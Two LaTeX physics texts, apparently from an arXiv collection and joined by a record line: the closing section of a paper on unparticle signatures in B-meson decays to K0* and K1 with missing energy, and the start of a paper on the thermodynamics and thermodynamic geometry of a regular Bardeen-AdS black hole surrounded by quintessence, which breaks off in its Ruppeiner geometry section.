plotted. Top panel is for $B\rightarrow K_{0}^{\ast }+\not\!\!{E}$
and bottom is for $B\rightarrow K_{1}+\not\!\!{E}$. The other
parameters are $d_{\mathcal{U}}=1.9$, $\Lambda _{\mathcal{U}}=1000$
GeV, $C_{P}=C_{S}=2\times 10^{-3}$ and $C_{V}=C_{A}=10^{-5}$. Solid
line is for SM, dashed line is for scalar operator and long-dashed
line is for the vector operator.}\label{fig1}
\end{center}
\end{figure}
In case of $B\rightarrow K_{0}^{\ast }\left( K_{1}\right) \nu
\bar{\nu}$ there is no experimental limit on the branching ratio of
these decays, but these will be expected to be measured at future
SuperB factories where they analyze the spectra of final state
hadron by imposing a cut of on the high momentum of hadron to reduce
the background. To calculate the numerical value of the branching
ratio for $B\rightarrow K_{0}^{\ast }\left(
K_{1}\right) \nu \bar{\nu}$ in SM we have to integrate Eqs. (\ref{09}) and (%
\ref{12}) on the energy of the final state hadron. Thus after
integration, the values of the branching ratios in SM\ are:
\begin{eqnarray}
\mathcal{B}r\left( B\rightarrow K_{0}^{\ast }\nu \bar{\nu}\right)
&=&1.12\times 10^{-6} \label{26} \\
\mathcal{B}r\left( B\rightarrow K_{1}\nu \bar{\nu}\right)
&=&1.77\times 10^{-6} \notag
\end{eqnarray}%
With these values at hand, we have plotted the differential decay
with for $B\rightarrow K_{0}^{\ast }\left( K_{1}\right)
+\not\!\!{E}$ as a function of the energy of the final state hadron
$E_{K_{0}^{\ast }}\left(
E_{K_{1}}\right) $ and by fixing the parameters of unparticle from ref. \cite%
{22} in Fig.\ref{fig1}. One can easily see from the figure that the
signature of unparticle operators are very distinctive from the SM
for the final state hadron's energy. Just like $B\rightarrow K\left(
K^{\ast }\right) +\not\!\!{E}$ the distribution of unparticle
contribution is quite different when we include a vector operator
$\left( a=1\right) $ for the highly energetic final state hadron.
For the other values of $a$ we will discuss this issue separately.
Thus the Super B-factories will be able to clearly distinguish the
presence of unparticle by observing the spectrum of final state
hadrons in $B\rightarrow K_{0}^{\ast }\left( K_{1}\right)
+\not\!\!{E}$ in complement to $B\rightarrow K\left( K^{\ast
}\right) +\not\!\!{E}$.
\begin{figure}[h]
\begin{center}
\includegraphics[scale=0.7]{Figure-2.eps}
\caption{The branching ratio for $B\rightarrow K_{0}^{\ast }+\not\!\!%
{E}$ as a function of $d_{\mathcal{U}}$ for various values of $\Lambda _{%
\mathcal{U}}$. Top panel is for the scalar operator and bottom is
for the vector operator. The values of coupling constants is same as
taken for Fig.
1. Solid line is for $\Lambda _{\mathcal{U}}=1000$ GeV, dashed line is for $%
\Lambda _{\mathcal{U}}=2000$ GeV and long-dashed line is for $\Lambda _{%
\mathcal{U}}=5000$ GeV$.$ The horizontal solid line is the SM\
result.}\label{fig2}
\end{center}
\end{figure}
\begin{figure}[h]
\begin{center}
\includegraphics[scale=0.7]{Figure-3.eps}
\caption{The branching ratio for $%
B\rightarrow K_{1}+\not\!\!{E}$ as a function of $d_{\mathcal{U}}$
for various values of $\Lambda _{\mathcal{U}}$. Top panel is for the
scalar operator and bottom is for the vector operator. The values
for coupling constants is same as taken for Fig. 1. Solid line is
for $\Lambda _{\mathcal{U}}=1000$ GeV, dashed line is for $\Lambda
_{\mathcal{U}}=2000$ GeV and long-dashed line is for $\Lambda
_{\mathcal{U}}=5000$ GeV$.$ The horizontal solid line is the SM\
result.}\label{fig3}
\end{center}
\end{figure}
In Fig. 2 and Fig. 3 we have shown the sensitivity of the branching
ratio on the scaling dimension $d_{\mathcal{U}}$ for different
values of the cut-off scale $\Lambda _{\mathcal{U}}$ by using the
same values of $C_{S}$, $C_{P}$, $C_{V}$ and $C_{A}$ as we have used
for Fig. 1.\ We can see from this figure that the branching ratio is
very sensitive to the variable $d_{\mathcal{U}}$ and $\Lambda
_{\mathcal{U}}$. The constraints on the vector operator are more
stronger then the scalar operators and constraints for $B\rightarrow
K_{0}^{\ast }+\not\!\!{E}$ are better then the $B\rightarrow
K_{1}+\not\!\!{E}$ decays.
\begin{figure}[h]
\begin{center}
\includegraphics[scale=0.7]{Figure-4.eps}
\caption{The branching ratio for $%
B\rightarrow K_{0}^{\ast }+\not\!\!{E}$ as a function of $C_{P}$
(top panel) and
$C_{A}$ (bottom panel). The cut off scale has been taken to be $\Lambda _{%
\mathcal{U}}=1000$ GeV$.$ Solid line is for $d_{\mathcal{U}}=1.5$,
dashed
line is for $d_{\mathcal{U}}=1.7$ and long-dashed line is for $d_{\mathcal{U}%
}=1.9$. The horizontal solid line is the SM\ result.}\label{fig4}
\end{center}
\end{figure}
After showing the dependence of branching ratio on $d_{\mathcal{U}}$ and $%
\Lambda _{\mathcal{U}}$ what we have shown in Fig. 4 is the
sensitivity of the branching ratio of $B\rightarrow K_{0}^{\ast
}+\not\!\!{E}$ with the effective coupling constants of scalar and
vector unparticle operators. One can see that $B\rightarrow
K_{0}^{\ast }+$ scalar unparticle operator shall constrain the
parameter $C_{P}$ and $B\rightarrow K_{0}^{\ast }+$ vector
unparticle operator shall constrain the parameter $C_{A}$. Thus
observing this decay we can get some useful constraint on $C_{P}$
and $C_{A}$ which provides us the signature about the unparticle
physics. Similarly, we
have shown the dependence of the branching ratio of $B\rightarrow K_{1}+\not\!\!%
{E}$ on the effective coupling constants in Fig. 5. It is shown that
if we consider the scalar operator then only dependence is on
$C_{S}$, whereas if we consider the vector operators then the decay
rate depends both on $C_{V}$ and $C_{A}$.
\begin{figure}[h]
\begin{center}
\includegraphics[scale=0.7]{Figure-5.eps}
\caption{The branching ratio for $B\rightarrow K_{1}+\not\!\!{E}$ as
a function of $C_{S}$ (top panel), $C_{A} $ (middle panel) and
$C_{V}$ (bottom panel). The cut off scale has been
taken to be $\Lambda _{\mathcal{U}}=1000$ GeV$.$ Solid line is for $d_{%
\mathcal{U}}=1.5$, dashed line is for $d_{\mathcal{U}}=1.7$ and
long-dashed line is for $d_{\mathcal{U}}=1.9$. The horizontal solid
line is the SM\ result.}\label{fig5}
\end{center}
\end{figure}
As we have already mentioned that, Grinstein et al. have recently given
their comment on the unparticle \cite{23} mentioning that one regards Mack's
unitarity constraint lower bounds on CFT operator dimensions, e.g., $d_{%
\mathcal{U}}\geq 3$ for primary, gauge invariant, vector unparticle
operators. To account for this they have corrected the results in the
literature, and modified the propagator of vector and tensor unparticles.
The modified expressions of decay rate for the processes under consideration
are given in Eq. (\ref{23}) and Eq. (\ref{24}). To incorporate this
modification in vector unparticle operator, what we have shown in Fig. 6 is
the fractional error
\begin{figure}[h]
\begin{center}
\includegraphics[scale=0.7]{Figure-6.eps}
\caption{Fractional error $\Delta $ in the spectrum for the decay
$B\rightarrow K_{0}^{\ast }\left( K_{1}\right) +$ vector unparticle
operator as a function of energy of final state hadron. Top panel
shows the value for $B\rightarrow K_{0}^{\ast }$ and the bottom
panel is for $B\rightarrow K_{1}$. The values for the coupling
constants and cutoff scale is same as taken for Fig. 1.
Solid line is for $d_{\mathcal{U}}=3.2$, dashed line is for $d_{\mathcal{U}%
}=3.4$ and dashed-double dotted is for
$d_{\mathcal{U}}=3.6$.}\label{fig6}
\end{center}
\end{figure}
\begin{equation}
\Delta \equiv \frac{\left( \frac{1}{\Gamma }\frac{d\Gamma }{dE_{K_{0}^{\ast
}\left( K_{1}\right) }}\right) _{a=1}-\left( \frac{1}{\Gamma }\frac{d\Gamma
}{dE_{K_{0}^{\ast }\left( K_{1}\right) }}\right) _{a}}{\left( \frac{1}{%
\Gamma }\frac{d\Gamma }{dE_{K_{0}^{\ast }\left( K_{1}\right) }}\right) _{a=1}%
} \label{27}
\end{equation}%
where the difference is between the spectrum of $B\rightarrow K_{0}^{\ast
}\left( K_{1}\right) \mathcal{U}$ using vector unparticle operator with $a=1$
and $a=2\left( d_{\mathcal{U}}-2\right) /\left( d_{\mathcal{U}}-1\right) $
with $3<d_{\mathcal{U}}<3.9$. It is clear from the graph that if we increase
the unparticle scaling dimensions $d_{\mathcal{U}}$ the contribution of
vector unparticle operator to the decay rate decreases significantly because
of the increase in the inverse powers of cutoff scale $\Lambda _{\mathcal{U}%
} $ (see Eqs. (\ref{23}) and (\ref{24})).
Just to conclude: The study of these p-wave decays of $B$ mesons will not
only provide us information about SM but it also indicate the physics beyond
it and in future, when enough data is expected from the Super B factories,
we believe that these decays will take us step forward to the study of
unparticle as a source of missing energy in flavor physics.
\-\textbf{Acknowledgements:}
This work is partly supported by National Science Foundation of China under
the Grant Numbers 10735080 and 10625525. The authors would like to thank W.
Wang and Yu-Ming for useful discussions.
|
1,477,468,750,056 | arxiv | \section{Introduction}
\label{sec:intro}
In recent years, black hole thermodynamics has become an active area of research in theoretical physics. Among several motivations, the main attraction lies in the fact that, black hole is the best system to seek the aspects of quantum gravity, and the thermodynamic study will reveal its microscopic structure. Introduction of a correspondence between classical gravitational theory in AdS space and strongly coupled conformal field theory on its boundary by Maldacena in his seminal paper \citep{Maldacena1999} made the thermodynamic study of asymptoticaly AdS black holes more interesting. The black hole thermodynamics in anti-de Sitter (AdS) space is different from asymptotically Minkowskian spacetime. The AdS space acts like a thermal cavity and black hole can exist in a stable equilibrium with radiation. But there is a minimum Hawking temperature (critical temperature) below which only thermal radiation exists. Above this temperature two types of black hole solutions exists, a smaller black hole with negative specific heat capacity and a larger black hole with positive specific heat capacity. At critical temperature, Hawking-Page phase transition takes place between thermal radiation and large black hole \citep{Hawking1983}. In the AdS-CFT perspective, Hawking-Page phase transition is understood as confinement/deconfinement phase transition in gauge theory \citep{Witten:1998zw}.
Realising the importance of the thermodynamics in AdS space, the Reissner-Nordstr{\"o}m and the Kerr-Newman black holes in AdS background were studied. The small-large black hole phase transition found in RN-AdS had a close resemblence to van der Waals liquid-gas system \citep{Chamblin1999,Chamblinb1999,Caldarelli2000}. More clarity on this isomorphism was obtained by identifying the cosmological constant as thermodynamic pressure and by expanding first law by including a PdV term \citep{Dolan2011a,Dolan2011b,Kubiznak:2012wp,Kastor2009}. Recently, thermodynamics of various black holes in this extended phase space were studied and the similarity with van der Waals liquid-gas system was found to be universal \citep{Gunasekaran2012,BelhajChabab2012,SPALLUCCI2013,Altamiranokubi2013,Zhao2013,Hendi2013,SChen2013}.
After Albert Einstein's theory of gravity based on differential geometry became a great success, method of differential geometry was identified as a mathematical language for various gauge fields. It was Gibbs \citep{gibbs1948collected} in the later part of 19th century and Caratheodory \citep{Caratheodory1909} in 1909, to use these ideas of differential geometry in classical thermodynamics. Hermann \citep{hermann1973geometry} and Mrugala \citep{MRUGALA1978419}, applied differential geometry to the thermodynamic phase space making use of its contact structure. Then Weinhold \citep{weinhold76} and later Ruppeiner \citep{Ruppeiner79,Ruppeiner95} constructed thermodynamic metric to study phase transitions and microscopic interactions in thermodynamic systems. Geometrothermodynamics is another geometric formalism for the classical thermodynamics developed by H.Quevedo \citep{Quevedo2007}. Recently, a brief history of metric geometry of thermodynamics was written by Ruppeiner \citep{Ruppeiner2016}. From these geometric formalisms, a metric is defined on equilibrium thermodynamic state space and the thermodynamic curvature scalar encodes the information about the microscopic interactions. The curvature scalar is propotional to the correlation volume and its sign tells the nature of microscopic interactions being attractive or repulsive \citep{Ruppeiner2010}. The phase transition of the system can be seen in the divergence behavior of this curvature scalar near the critical point. Thermodynamic geometry is applied to van der Waals gas and different statistical models including magnetic models \citep{MagMrugala1989,vdwJanyszek90,Brody95,FerroDolan98,nonDolan2002,IsingJanke2002}.
Considering black hole as a thermodynamic system, the geometric formalism is used to study the critical behavior of black holes during phase transitions \citep{Ruppeinerb2008,Aman2003,bTzSarkar2006,SHEN2007,TSarkar2008,Sahaycritical2010,Sahay2010,Banerjee2010,BANERJEE2011,Biswas2011,Akbar2011, Niu2012,BellucciEYM2012,Lala2012,Wei2013,Yi5d2013,
Suresh2014,Zhang2015,CVRMansoori2015,
ExtndZhangRN2015,SheykhiEMd2015,SoroushfR2016,
lifR2016,Sahay2017,Chaturvedi2017}. But there were inconsistencies in the position of critical point, as specific heat diverges at a point different from where scalar curvature diverges \citep{GTDJanke2010,MismatchWei2012,Suresh2014}. The Legendre invariance was found to be the key factor behind these discrepancies. Taking Legendre invariance into account a metric was constructed by Quevedo et al. \citep{Quevedo2007,Quevedo12008,Quevedo2008}, which resolved the issue. Quevedo's formalism named as Geometrothermodynamics(GTD) is applied to various black holes \citep{GTDMyers2013,GTDquevado2012,Tharanath2015,GTDSanchez2016,GTDEMDQuevado16, GTDHu2017,GTDScalrtensor2018} including regular black holes. A black hole without singularity at the origin, possessing an event horizon is called regular or non-singular black hole. It was Bardeen \citep{bardeen1968non} in 1968, who constructed a black hole solution with regular non-singular geometry with an event horizon for the first time. Later, several such regular black hole solutions were constructed \citep{Hayward,AyonBeato:1998ub}. Thermodynamic properties of Bardeen regular black hole was studied in \citep{MAkbar2012}.
Accelerated expansion of universe is due to presence of exotic field called Dark energy. Quintessence is one among different models for dark energy \citep{Ford1987,Kiselev2003,Shinji2013}. The cosmic source for inflation has the equation of state $p_q=\omega \rho _q$ ($-1< \omega < -1/3$), and $\omega =-2/3$ corresponds to quintessence dark energy regime. The energy density for quintessence has the form $\rho _q=-\frac{a}{2}\frac{3\omega}{r^{3(\omega+1)}}$, which is positive for usual quintessence. Several attempts have been made to explore the effects of quintessence on black hole, with Kiselev's \citep{Kiselev2003} phenomelogical approach being the notable one. Phase transitions in black holes surrounded by quintessence are widely studied. Thermodynamics of Reissner-Nordstr{\"o}m and regular black holes surrounded by quintessence were investigated in \citep{WeiYi2011,QuienRNThomas2012,THARANATH2013,LI2014,Fan2017,Saleh2018,Rodrigue2018lzp}.
Thermodynamic geometry and geometrothermodynanics for different regular black holes were studied in \citep{Tharanath2015}. Thermodynamic geometry of charged AdS black hole surrounded by quintessence can be found in \citep{ShaoWenWei2018}.
This paper is organised as follows. In section \ref{sec:thermo}, thermodynamics of regular Bardeen black hole surrounded by quintessence is studied in the extended phase space. In the next section (\ref{sec:tg}), thermodynamic geometry for the black hole is constructed using Weinhold and Ruppeiner metric, followed by geometrothermodynamics. Conclusion is written in the final section (\ref{sec:conclu}).
\section{Thermodynamics of the black hole}
\label{sec:thermo}
The metric for the regular Bardeen AdS black hole surrounded by quintessence is given by \citep{Saleh2018,Fan2017,LI2014,Kiselev2003},
\begin{align*}
ds^2&= -f(r)dt^2+ \frac{dr^2}{f(r)} +r^2d\theta^2 +r^2 \sin^2 \theta d\phi^2
\end{align*}
with $f(r)=1-\frac{2 \mathcal{M}(r)}{r}-\frac{a}{r^{3\omega +1}}-\frac{\Lambda r^2}{3}$ and $\mathcal{M}(r)= \frac{Mr^3}{(r^2+\beta ^2)^{3/2}}$.
Where $\beta$ is the monopole charge of a self gravitating magnetic field described by non linear electromagnetic source, $M$ is the mass of the black hole, $\Lambda$ is the cosmological constant, $\omega$ is the state parameter and $a$ is the normalization constant related to quintessence density.
On the event horizon ($r_h$) , $f(r_h)=0$ gives the mass corresponding to the above metric,
\begin{eqnarray}
M =\frac{1}{6} r_h^{-3 (1 + \omega)} (\beta ^2 + r_h^2)^{3/2} [-3 a + r_h^{1 + 3 \omega} (3 + 8 P \pi r_h^2)].
\end{eqnarray}
We can express mass of the black hole as a function of entropy using the area law $S=\pi r_h ^2$, as follows
\begin{eqnarray}\nonumber
M&=&\frac{1}{6 \sqrt{\pi }}\left[ \left(\pi \beta^2+S\right)^{3/2} S^{-\frac{3}{2} (\omega +1)}\right. \\
&&\left. \left((8 P S+3) S^{\frac{3 \omega }{2}+\frac{1}{2}}-3 a \pi ^{\frac{3 \omega }{2}+\frac{1}{2}}\right)\right] .
\label{mass}
\end{eqnarray}
First law of thermodynamics for this black hole must be modified to include quintessence as follows,
\begin{eqnarray}
dM=TdS+\Psi d\beta+VdP+\mathcal{A}d a .\label{eqn:Maxwells equation}
\end{eqnarray}
Where $\Psi$ is the potential conjugate to the magnetic charge $\beta$ and $\mathcal{A}$ is a quantity conjugate to quintessence parameter $a$.
\begin{equation}
\mathcal{A}=\left( \frac{\partial M}{\partial a}\right) _{S,\beta , P}=-\frac{1}{2r_h^{3\omega}}.
\end{equation}
In the extended phase space cosmological constant is considered as thermodynamic pressure.
\begin{eqnarray}
P=-\frac{\Lambda}{8\pi}, ~~ \Lambda=-\frac{3}{l^2}.
\end{eqnarray}
We can derive Hawking temperature (equation \ref{eqn:Hawking temperature}) from the first law, which can be combined with the area law to obtain equation of state (equation \ref{eqn of state}).
\begin{widetext}
\begin{align}
T=&\left( \frac{\partial M}{\partial S} \right)_{\Psi,P,a}
= \frac{1}{4} \sqrt{\beta ^2+\frac{S}{\pi }} S^{-\frac{3 \omega }{2}-\frac{5}{2}} \left(3 a \pi ^{\frac{3 \omega }{2}+\frac{1}{2}} \left(\pi \beta ^2 (\omega +1)+S
\omega \right)+S^{\frac{3 \omega }{2}+\frac{1}{2}} \left(-2 \pi \beta ^2+8 P S^2+S\right)\right)\label{eqn:Hawking temperature}\\
P=&\frac{1}{8 \pi }\left[ \frac{8 \pi T}{\sqrt{4 \beta ^2+v^2}}+32 \beta ^2 v^{-3 \omega -5} \left(v^{3 \omega +1}-3 a 8^{\omega } (\omega +1)\right)-3 a 8^{\omega +1} \omega v^{-3 (\omega +1)}-\frac{4}{v^2}\right] \label{eqn of state}
\end{align}
\end{widetext}
\begin{widetext}
\begin{figure*}
\begin{minipage}[b]{.5\linewidth}
\centering\includegraphics[width=0.95\textwidth]{pvdiagram}
\subcaption{}\label{PV}
\end{minipage}%
\begin{minipage}[b]{.5\linewidth}
\centering\includegraphics[width=0.95\textwidth]{tsdiagram}
\subcaption{}\label{TS}
\end{minipage}
\caption{To the left we have $P-v$ diagram for regular AdS black hole surrounded by quintessence ($a=0.07$, $\beta=0.1$, $\omega =-2/3$, $T_c=0.36$). In the right side $T-S$ plot for different values of $\beta$ is shown.}\label{PVTS}
\end{figure*}
\end{widetext}
\begin{figure*}
\begin{minipage}[b]{.33\linewidth}
\centering\includegraphics[width=.95\textwidth]{exclusions}
\subcaption{}\label{sub1}
\end{minipage}%
\begin{minipage}[b]{.33\linewidth}
\centering\includegraphics[width=0.95\textwidth]{CS_for_Pc}
\subcaption{}\label{sub2}
\end{minipage}
\begin{minipage}[b]{.33\linewidth}
\centering\includegraphics[width=0.95\textwidth]{CS_for_greater_than_Pc}
\subcaption{}\label{sub3}
\end{minipage}
\caption{ Specific heat versus entropy diagram for regular AdS black hole surrounded by quintessence ($a=0.07$, $\beta=0.1$ , $\omega=-\frac{2}{3}$). (\ref{sub1}) for $P=Pc $, (\ref{sub2}) for $P<Pc$, (\ref{sub3}) for $P>Pc$.}\label{CS}
\end{figure*}
\begin{figure}
\includegraphics[width=0.47\textwidth]{CSforomegas}
\caption{Specific heat for different $\omega$ values}\label{CSomegas}
\end{figure}
\noindent where $v=2r_h$ is specific volume. Using the above equations the $P-v$ and $T-S$ curves are plotted in figure (\ref{PV}) and (\ref{TS}). These two plots clearly show critical phenomena around the critical points. The critical points are obtained from the conditions,
\begin{equation}
\frac{\partial P}{\partial v}=0 \quad, \quad \quad \frac{\partial^2 P}{\partial v^2}=0.\label{criticalform}
\end{equation}
In the absence of quientessence, the critical volume $(V_c)$, critical temperature $(T_c)$ and critical pressure $(P_c)$ of regular Bardeen-AdS black hole are obtained, which are as follows,
\begin{align*}
V_c&=2\sqrt{2}\beta \sqrt{ 2+\sqrt{10} }\quad,
T_c=\frac{25 \left(13 \sqrt{10}+31\right)}{432\pi \beta \left(2 \sqrt{10}+5\right)^{3/2} }\quad,\\
P_c&=\frac{5 \sqrt{10}-13}{432 \pi {\beta}^2}
\end{align*}
Using the critical quantities, we can calculate $\frac{P_c v_c}{T_c}$ ratio.
\begin{align*}
\frac{ P_c v_c}{T_c}&= \frac{ \left(-26+10 \sqrt{10}\right)\left(5+2 \sqrt{10}\right)^{3/2}\sqrt{2 \left(2+\sqrt{10}\right)}}{775+325 \sqrt{10}}
\end{align*}
which is numericaly equal to 0.381931. For Reissner-Nordstr{\"o}m AdS black hole, this ratio matches with that of a Van der Waals gas ($\frac{P_c v_c}{T_c}=3/8$).
Presence of quientessence affects the phase transition. As the analytic expression is difficult to obtain, the critical quantities are obtained numerically for the state parameter $\omega=-1,-2/3,-1/3$ (table \ref{tab:table1}). Increase in the value of $\omega$ from $-1$ to $0$, leads to decrease in the ratio, which approaches to $3/8$.
\begin{table}[b
\caption{\label{tab:table1}%
Critical points are found using equation (\ref{criticalform}) with quientessence state parameter $\omega=-1,-2/3,-1/3$. The ratio $\frac{P_c v_c}{T_c}$ is calulated for each case.
}
\begin{ruledtabular}
\begin{tabular}{ccccl}
\textrm{$\omega$}&
\textrm{$P_c$}&
\textrm{$v_c$}&
\textrm{$T_c$}&
\textrm{$\frac{P_cv_c}{T_c}$}\\
\colrule
-1 & 0.2155 & 0.6426 & 0.3485 & 0.3973\\
$-2/3$ & 0.2073 & 0.6422 & 0.3376 & 0.3945\\
$-1/3$& 0.1926 & 0.6426 & 0.3241 & 0.3819\\
\end{tabular}
\end{ruledtabular}
\end{table}
In statistical mechanics, a phase transition is characterised by divergences in second moments like specific heat, compressibility and susceptibility.
Hence to study more details of phase transition we focus on heat capacity of the system. Sign of heat capacity tells about the thermodynamic stability of black hole, which is positive for stable and negative for unstable. The heat capacity at
constant pressure is given by
\begin{widetext}
\begin{align*}
C_P=T\left( \frac{\partial S}{\partial T}\right)_P=\frac{2 S \left(\pi \beta ^2+S\right) \left(S \left(\sqrt{\pi } (8 P S+1)-2 a \sqrt{S}\right)+\beta ^2 \left(\pi a \sqrt{S}-2 \pi
^{3/2}\right)\right)}{\sqrt{\pi } \left(\beta ^4 \left(8 \pi ^2-3 \pi ^{3/2} a \sqrt{S}\right)+S^2 (8 P S-1)+4 \pi \beta ^2 S\right)}
\end{align*}
\end{widetext}
$C_P-S$ plot is obtained from this equation, which shows critical behavior (figure \ref{CS} ) below certain pressure $(P_c)$ . Figure (\ref{CS}) shows that below the critical pressure $P<P_c$, there are two singular points, which reduce to one when $P=P_c$, and above $P>P_c$, these divergence disappears. In figure (\ref{sub2}), there are three distinct regions seperated by two singular points. The Small black hole (SBH) and large black hole (LBH) regions with positive specific heat, and the intermediate black hole (IBH) with negative specific heat. As the positive specific heat regions are thermodynamicaly stable, phase transition takes place between small black hole and large black hole. From figure(\ref{CSomegas}), we observe that the quintesssence state parameter $\omega$ shifts the SBH-LBH transition to lower entropy values. The specific heat plotted with $\omega=-1,-\frac{1}{3},-\frac{2}{3}$ and 0 shows the deviation. When $\omega = 0$, the intermediate region vanishes. Only two regions exists, one with negative and other with positive specific heat, the behavior is similar to that of regular Bardeen black hole \citep{THARANATH2013}.
The small–large black hole phase transition observed in this black hole is analogous to the liquid–gas transition in Van der Waals gas like in Reissner-Nordstr{\"o}m AdS black holes. The notable difference compared to Van der Waals gas is the ratio $\frac{P_c v_c}{T_c}$, which doesnot appear to be a constant value 3/8, as the critical temperature $T_c$ depends on the quintessence.
\begin{figure*}
\begin{minipage}[b]{.33\linewidth}
\centering\includegraphics[width=.95\textwidth]{WeinholdRSp001}
\subcaption{}\label{WRS1}
\end{minipage}%
\begin{minipage}[b]{.33\linewidth}
\centering
\includegraphics[width=0.95\textwidth]{WeinholdRSp01264}
\subcaption{}\label{WRS2}
\end{minipage}
\begin{minipage}[b]{.33\linewidth}
\centering\includegraphics[width=0.95\textwidth]{WeinholdRSp00141}
\subcaption{}\label{WRS3}
\end{minipage}
\caption{Curvature divergence plots for Weinhold metric. In all three plots quintessence parameter and monopole charge are fixed, $a=0.5$ and $\beta =1$. Pressure is $P=0.01$ in (\ref{WRS1}), $P=0.01264$ in (\ref{WRS2}) and $P=0.0141$ in (\ref{WRS3}).}\label{Weinhold RS}
\end{figure*}
\begin{figure*}
\begin{minipage}[b]{.32\linewidth}
\centering\includegraphics[width=.95\textwidth]{conformalRSp001}
\subcaption{}\label{CRS1}
\end{minipage}
\begin{minipage}[b]{.33\linewidth}
\centering\includegraphics[width=0.95\textwidth]{conformalRSp01264}
\subcaption{}\label{CRS2}
\end{minipage}
\begin{minipage}[b]{.33\linewidth}
\centering\includegraphics[width=0.95\textwidth]{conformalRSp00141}
\subcaption{}\label{CRS3}
\end{minipage}
\caption{Curvature divergence plots for Ruppeiner metric. In all three plots quintessence parameter and monopole charge are fixed, $a=0.5$ and $\beta =1$. Pressure is $P=0.01$ in (\ref{CRS1}), $P=0.01264$ in (\ref{CRS2}) and $P=0.0141$ in (\ref{CRS3}).}\label{Ruppeiner RS}
\end{figure*}
\section{Thermodynamic Geometry}
\label{sec:tg}
In this section we investigate thermodynamic phase transtions based on geometric formalism proposed by Weinhold, Ruppeiner and Quevado. The thermodynamic geometry is a possible tool to explore thermodynamic phase transitions from microscopic point of view. The thermodynamic scalar curvature \emph{R} is directly proportional to the correlation volume of the system $R\propto \xi ^d $, where $d$ is spatial dimensionality. The divergent behavior of curvature scalar ploted against entropy reflects the existance of critical points corresponding to thermodynamic phase transition.
\subsection{Weinhold Geometry}
The Weinhold metric is defined adhoc in the thermodynamic equilibrium space as the Hessian of the internal energy M,
\begin{align*}
ds_W^{2}&=g_{ij}^{W}dx^{i}dx^{j}= \partial _i \partial _j M(S,N^a) dx^{i}dx^{j} ~~,~~(i,j=1,2)
\end{align*}
where $N^a$ represents any other thermodynamic extensive variables. Here, mass M is the function of entropy $S$ and extensive variable $\beta$, which is the monopole charge. A Hessian is defined as a square matrix containing second derivative of energy with respect to the entropy and other extensive parameters\citep{weinhold1975metric,weinhold76},
\begin{align*}
g^W=\begin{bmatrix}
M_{,SS} & M_{,S \beta}\\
M_{, \beta S} & M_{,\beta \beta}
\end{bmatrix}.
\end{align*}
Using the expression for mass of the black hole (equation \ref{mass}), the components of metric tensor turns out to be,
\begin{align}
g_{SS}&=\frac{\beta ^4 \left(8 \pi ^2-3 \pi ^{3/2} a \sqrt{S}\right)+S^2 (8 P S-1)+4 \pi \beta ^2 S}{8 \sqrt{\pi } S^3 \sqrt{\pi \beta ^2+S}} \label{Weinhold metric1}\\
g_{S\beta}&=g_{\beta S}=\frac{\beta \left(\beta ^2 \left(3 \sqrt{\pi } a \sqrt{S}-6 \pi \right)+S (8 P S-3)\right)}{4 S^2 \sqrt{\beta ^2+\frac{S}{\pi }}} \label{Weinhold metric2}\\
g_{\beta \beta}&=\frac{\left(2 \pi \beta ^2+S\right) \left(\sqrt{\pi } (8 P S+3)-3 a \sqrt{S}\right)}{2 S \sqrt{\pi \beta ^2+S}}.
\label{Weinhold metric3}
\end{align}
From metric tensor $g^W_{ij}$, one can calculate curvature scalar, which is found to be a complicated expression, $R_W(S,P,b,\omega,a)$. Ploting the curvature $R_W$ versus entropy $S$, we have studied its divergence behavior, which occur at mulitiple points (figure \ref{Weinhold RS}).
Even at the critical point ($P_c$=0.207 for $a$=0.07 and $\beta =0.1$), $R_W$ shows multiple divergences (figure \ref{Criticalw}) which are different from that of the critical value of entropy $(S)$ observed in specific heat plots. From these randomly located diverging points we can infer only the critical behavior of the system, but not the exact phase transition points. As there is no agreement between the divergence points in Weinhold geometry and specific heat study, next we focus on Ruppeiner geometry.
\subsection{Ruppeiner Geometry}
The Ruppeiner metric is defined as a Hessian of the entropy function $S$ of the system instead of the internal energy $M$ as in the Weinhold case. But one can transform Ruppeiner metric, which is a function of $M$ and $\beta$ originally, to the same coordinate system used in Weinhold metric i.e., $S$ and $\beta$. Technically, their geometries are related to each other conformally \citep{Ruppeiner79,Ruppeiner95,Ruppeinerb2008,Ruppeiner2010}.
The Ruppeiner metric in the thermodynamic space states is given as ,
\begin{align*}
g_{ij}^{R}&=-\partial_{i}\partial_{j}S\left(M,x^{\alpha}\right)~~~~~~(i,j=1,2)
\end{align*}
\begin{align*}
g^R=\begin{bmatrix}
S_{,MM} & S_{,M \beta}\\
S_{,\beta M} & S_{, \beta \beta}
\end{bmatrix}.
\end{align*}
Because of the conformal property, the line elements in Ruppeiner and Weinhold formalism are related as
\begin{equation}
dS^2 _R=-\frac{dS^2 _W}{T}.
\end{equation}
Using (\ref{Weinhold metric1}), (\ref{Weinhold metric2}), (\ref{Weinhold metric3}) and (\ref{eqn:Hawking temperature}) the components of Ruppeiner metric tensor are easily obtained as ,
\begin{widetext}
\begin{align}
g_{SS} &=\frac{\sqrt{\pi }\left(b^4 \left(8 \pi ^2-3 \pi ^{3/2} a \sqrt{S}\right)+4 \pi b^2 S+S^2 (8 P S-1)\right)}{2 S \left(\pi b^2+S\right)\left(b^2 \left(\pi a \sqrt{S}-2 \pi ^{3/2}\right)+S \left(\sqrt{\pi } (8 P S+1)-2 a \sqrt{S}\right)\right)}\\
g_{S\beta} &=g_{\beta S}=\frac{\pi ^{3/2} b \left(b^2 \left(6 \pi -3 \sqrt{\pi } a \sqrt{S}\right)+S (3-8 P S)\right)}{\left(\pi b^2+S\right) \left(b^2 \left(2 \pi ^{3/2}-\pi a \sqrt{S}\right)-S \left(\sqrt{\pi } (8 P S+1)-2 a \sqrt{S}\right)\right)}\\
g_{\beta \beta}&=\frac{2 \pi S \left(2 \pi b^2+S\right) \left(\sqrt{\pi } (8 P S+3)-3 a \sqrt{S}\right)}{\left(\pi b^2+S\right) \left(b^2 \left(\pi a \sqrt{S}-2 \pi ^{3/2}\right)+S \left(\sqrt{\pi } (8 P S+1)-2 a \sqrt{S}\right)\right)}.
\end{align}
\end{widetext}
The curvature tensor $R_R$ calculated from the above metric $g^R_{ij}$ is again a complicated expression like in Weinhold case. The obtained curvature function is plotted against entropy $S$ to study the critical behavior (figure \ref{Ruppeiner RS} and \ref{CriticalR}).
